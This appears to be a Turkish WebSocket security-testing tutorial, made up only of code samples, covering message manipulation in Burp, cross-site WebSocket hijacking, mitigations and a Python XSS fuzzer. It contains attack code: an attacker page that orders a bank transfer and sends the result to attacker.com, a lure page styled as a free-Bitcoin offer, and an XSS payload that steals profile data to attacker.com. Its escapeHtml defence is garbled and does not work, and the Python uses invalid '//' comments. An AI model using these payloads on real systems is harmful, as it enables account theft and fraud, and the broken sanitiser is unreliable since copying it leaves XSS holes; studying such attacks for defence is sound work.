WebSockets Güvenlik Testi

// JavaScript WebSocket kullanımı
const socket = new WebSocket('ws://example.com/chat');

socket.onopen = function(event) {
    console.log('Bağlantı kuruldu');
    socket.send('Merhaba Sunucu!');
};

socket.onmessage = function(event) {
    console.log('Mesaj alındı: ' + event.data);
};

socket.onerror = function(error) {
    console.error('WebSocket hatası: ', error);
};

socket.onclose = function(event) {
    console.log('Bağlantı kapandı');
};

// Burp'ta yakalanan WebSocket mesaj örneği
Direction: Client to server
Message: {"action":"send_message","content":"Hello World"}

// Manipüle edilmiş mesaj
Message: {"action":"send_message","content":"<script>alert('XSS')</script>"}

// Saldırganın sitesindeki (attacker.com) JavaScript kodu
const socket = new WebSocket('wss://vulnerable-bank.com/account');

socket.onopen = function(event) {
    // Kurbanın hesap bilgilerini çek
    socket.send(JSON.stringify({
        "action": "get_account_info"
    }));
    
    // Para transferi yap
    socket.send(JSON.stringify({
        "action": "transfer_money",
        "to_account": "attacker_account",
        "amount": 10000
    }));
};

socket.onmessage = function(event) {
    // Gelen verileri saldırganın sunucusuna gönder
    fetch('https://attacker.com/steal-data', {
        method: 'POST',
        body: event.data
    });
};

// ❌ Güvensiz - ws:// kullanımı
const socket = new WebSocket('ws://example.com/chat');

// ✅ Güvenli - wss:// kullanımı
const socket = new WebSocket('wss://example.com/chat');

// Sunucu tarafında Origin header kontrolü
function validateOrigin(request) {
    const allowedOrigins = [
        'https://myapp.com',
        'https://www.myapp.com'
    ];
    
    const origin = request.headers.origin;
    
    if (!origin || !allowedOrigins.includes(origin)) {
        throw new Error('Invalid origin');
    }
}

// CSRF token ile ek koruma
const socket = new WebSocket(
    'wss://example.com/chat?csrf_token=' + csrfToken
);

// Sunucu tarafında input validation
function validateMessage(message) {
    // JSON format kontrolü
    let parsed;
    try {
        parsed = JSON.parse(message);
    } catch (e) {
        throw new Error('Invalid JSON');
    }
    
    // Required field kontrolü
    if (!parsed.action || typeof parsed.action !== 'string') {
        throw new Error('Invalid action');
    }
    
    // XSS koruması
    if (parsed.content) {
        parsed.content = escapeHtml(parsed.content);
    }
    
    return parsed;
}

function escapeHtml(text) {
    return text
        .replace(/&/g, '&')
        .replace(/'<')
        .replace(/>/g, '>')
        .replace(/"/g, '"')
        .replace(/'/g, ''');
}

// 1. Normal mesaj gönderimi
{
  "action": "send_message",
  "content": "Merhaba arkadaşlar!",
  "room": "general"
}

// 2. XSS payload ile saldırı
{
  "action": "send_message",
  "content": "<img src=x onerror='fetch(\"/api/user/profile\").then(r=>r.json()).then(d=>fetch(\"https://attacker.com/steal\",{method:\"POST\",body:JSON.stringify(d)}))'>",
  "room": "general"
}

// attacker.com üzerindeki zararlı sayfa
<!DOCTYPE html>
<html>
<head>
    <title>Bedava Bitcoin Kazanın!</title>
</head>
<body>
    <h1>Tebrikler! Bitcoin kazandınız!</h1>
    
    <script>
        // Kurbanın banking uygulamasına WebSocket bağlantısı
        const ws = new WebSocket('wss://bank.com/transfer');
        
        ws.onopen = () => {
            // Para transferi emri
            ws.send(JSON.stringify({
                "action": "transfer",
                "to_account": "TR000001234567890123456789",
                "amount": 5000,
                "description": "Kredi kartı ödemesi"
            }));
        };
        
        ws.onmessage = (event) => {
            // İşlem sonucunu saldırgana bildir
            fetch('https://attacker.com/success', {
                method: 'POST',
                body: event.data
            });
        };
    </script>
</body>
</html>

// Python ile WebSocket fuzzing
import asyncio
import websockets
import json

async def websocket_fuzzer():
    uri = "wss://target.com/chat"
    
    // XSS payloads
    xss_payloads = [
        "<script>alert('XSS')</script>",
        "<img src=x onerror=alert('XSS')>",
        "javascript:alert('XSS')",
        "<svg onload=alert('XSS')>"
    ]
    
    async with websockets.connect(uri) as websocket:
        for payload in xss_payloads:
            message = {
                "action": "send_message",
                "content": payload
            }
            
            await websocket.send(json.dumps(message))
            response = await websocket.recv()
            
            print(f"Payload: {payload}")
            print(f"Response: {response}")
            print("-" * 50)

// Async çalıştır
asyncio.run(websocket_fuzzer())